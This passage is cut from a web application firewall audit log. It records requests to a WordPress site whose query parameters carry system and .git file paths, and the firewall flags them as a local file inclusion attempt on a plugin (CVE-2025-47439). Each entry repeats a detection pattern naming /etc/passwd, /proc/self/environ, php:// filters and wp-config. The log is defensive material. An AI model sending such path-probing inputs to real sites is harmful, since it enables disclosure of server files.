109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":228,"p2":3665,"p3":0,"p4":0,"p5":303,"sr":118,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:56:08.187637 +0100","transaction_id":"abPRJz9srhFspgypfcBSswAAAlg","remote_address":"57.141.20.49","remote_port":52994,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/th/LC_MESSAGES/dpkg.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.49","X-Forwarded-Proto":"https","X-Request-Id":"4a921732b05ee6e4ac54849926698ec2","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14385847"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"4a921732b05ee6e4ac54849926698ec2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/th/LC_MESSAGES/dpkg.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":357,"p2":5931,"p3":0,"p4":0,"p5":340,"sr":167,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:56:19.203013 +0100","transaction_id":"abPRMnhj1Fyg-cNIPtg7KwAAA4Q","remote_address":"57.141.20.21","remote_port":53948,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/ur/LC_MESSAGES/Linux-PAM.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.21","X-Forwarded-Proto":"https","X-Request-Id":"30216cdec3509883b64c380835c2db9d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2921445"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"30216cdec3509883b64c380835c2db9d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/ur/LC_MESSAGES/Linux-PAM.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":204,"p2":3948,"p3":0,"p4":0,"p5":273,"sr":96,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:56:44.825574 +0100","transaction_id":"abPRTD9srhFspgypfcBTJwAAAkE","remote_address":"57.141.20.17","remote_port":40654,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/var/lib/mibs/ietf/TCP-MIB HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.17","X-Forwarded-Proto":"https","X-Request-Id":"2ef5cffdba0cc57f7efae002df91d49c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10291828"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"2ef5cffdba0cc57f7efae002df91d49c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/mibs/ietf/TCP-MIB||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":191,"p2":4900,"p3":0,"p4":0,"p5":413,"sr":125,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:56:50.458510 +0100","transaction_id":"abPRUnhj1Fyg-cNIPtg7rwAAA4c","remote_address":"57.141.20.59","remote_port":41540,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/pt/LC_MESSAGES/iso_3166-1.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.59","X-Forwarded-Proto":"https","X-Request-Id":"3feea57a9474f26cc69641c28b7c00c6","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5345523"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"3feea57a9474f26cc69641c28b7c00c6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/pt/LC_MESSAGES/iso_3166-1.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":326,"p2":10906,"p3":0,"p4":0,"p5":481,"sr":167,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:57:01.295856 +0100","transaction_id":"abPRXD9srhFspgypfcBTegAAAkM","remote_address":"57.141.20.43","remote_port":53748,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/08/77ee7684f52f6c83b7f1cf1d12967fb9c3e695 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.43","X-Forwarded-Proto":"https","X-Request-Id":"1b3da49543335c7c97a0fd90a1f7c267","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12061507"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"1b3da49543335c7c97a0fd90a1f7c267","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/08/77ee7684f52f6c83b7f1cf1d12967fb9c3e695||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":198,"p2":5038,"p3":0,"p4":0,"p5":255,"sr":134,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:57:02.966616 +0100","transaction_id":"abPRXn29rYkRMjwGQQbI8wAAAI4","remote_address":"57.141.20.2","remote_port":50684,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/terminfo/p/p8 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.2","X-Forwarded-Proto":"https","X-Request-Id":"fe16210c2b4da7e88f5d4fd9839b687c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10322474"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"fe16210c2b4da7e88f5d4fd9839b687c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/p/p8||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":253,"p2":5369,"p3":0,"p4":0,"p5":419,"sr":93,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:57:04.348356 +0100","transaction_id":"abPRYD9srhFspgypfcBThQAAAk4","remote_address":"57.141.20.57","remote_port":50738,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/wc-multishipping/wc-multishipping.2.2.0.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.57","X-Forwarded-Proto":"https","X-Request-Id":"4f4f8152db859642e1ce78f8bcc95001","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14385914"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"4f4f8152db859642e1ce78f8bcc95001","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/wc-multishipping/wc-multishipping.2.2.0.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":304,"p2":7136,"p3":0,"p4":0,"p5":377,"sr":138,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:57:08.318301 +0100","transaction_id":"abPRY3hj1Fyg-cNIPtg77AAAA5E","remote_address":"57.141.20.24","remote_port":50748,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/v/vt400 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.24","X-Forwarded-Proto":"https","X-Request-Id":"6a6d51e5f47f36f90ecaaa417cf64e78","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2069459"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"6a6d51e5f47f36f90ecaaa417cf64e78","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/v/vt400||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":347,"p2":7421,"p3":0,"p4":0,"p5":406,"sr":164,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:57:10.571472 +0100","transaction_id":"abPRZn29rYkRMjwGQQbJAwAAAIA","remote_address":"57.141.20.52","remote_port":52914,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/flexible-checkout-fields/flexible-checkout-fields.4.1.34.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.52","X-Forwarded-Proto":"https","X-Request-Id":"686ba89bcfa6216ae3534b2ad54d007b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6622714"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"686ba89bcfa6216ae3534b2ad54d007b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/flexible-checkout-fields/flexible-checkout-fields.4.1.34.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":348,"p2":9962,"p3":0,"p4":0,"p5":409,"sr":153,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:57:28.873219 +0100","transaction_id":"abPReD9srhFspgypfcBTxQAAAk0","remote_address":"57.141.20.27","remote_port":41574,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/ba/462f1388de3012bd0c14834747b8b2f30902dd HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.27","X-Forwarded-Proto":"https","X-Request-Id":"76b1cbc440d123520280b5da664018ad","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7803415"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"76b1cbc440d123520280b5da664018ad","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/ba/462f1388de3012bd0c14834747b8b2f30902dd||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":433,"p2":6183,"p3":0,"p4":0,"p5":429,"sr":170,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:57:42.302651 +0100","transaction_id":"abPRhj9srhFspgypfcBT-wAAAkM","remote_address":"57.141.20.14","remote_port":53748,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/t/ts1p HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.14","X-Forwarded-Proto":"https","X-Request-Id":"a668e83f998539d65d26e630c04f72da","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5345540"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"a668e83f998539d65d26e630c04f72da","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/t/ts1p||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":270,"p2":5754,"p3":0,"p4":0,"p5":234,"sr":146,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:58:00.851726 +0100","transaction_id":"abPRmD9srhFspgypfcBUNwAAAkU","remote_address":"57.141.20.46","remote_port":60098,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/opt/php8.3/include/php/Zend/zend_language_scanner.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.46","X-Forwarded-Proto":"https","X-Request-Id":"ea6351428bb273f39763d4cf0a660071","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13141646"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ea6351428bb273f39763d4cf0a660071","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin 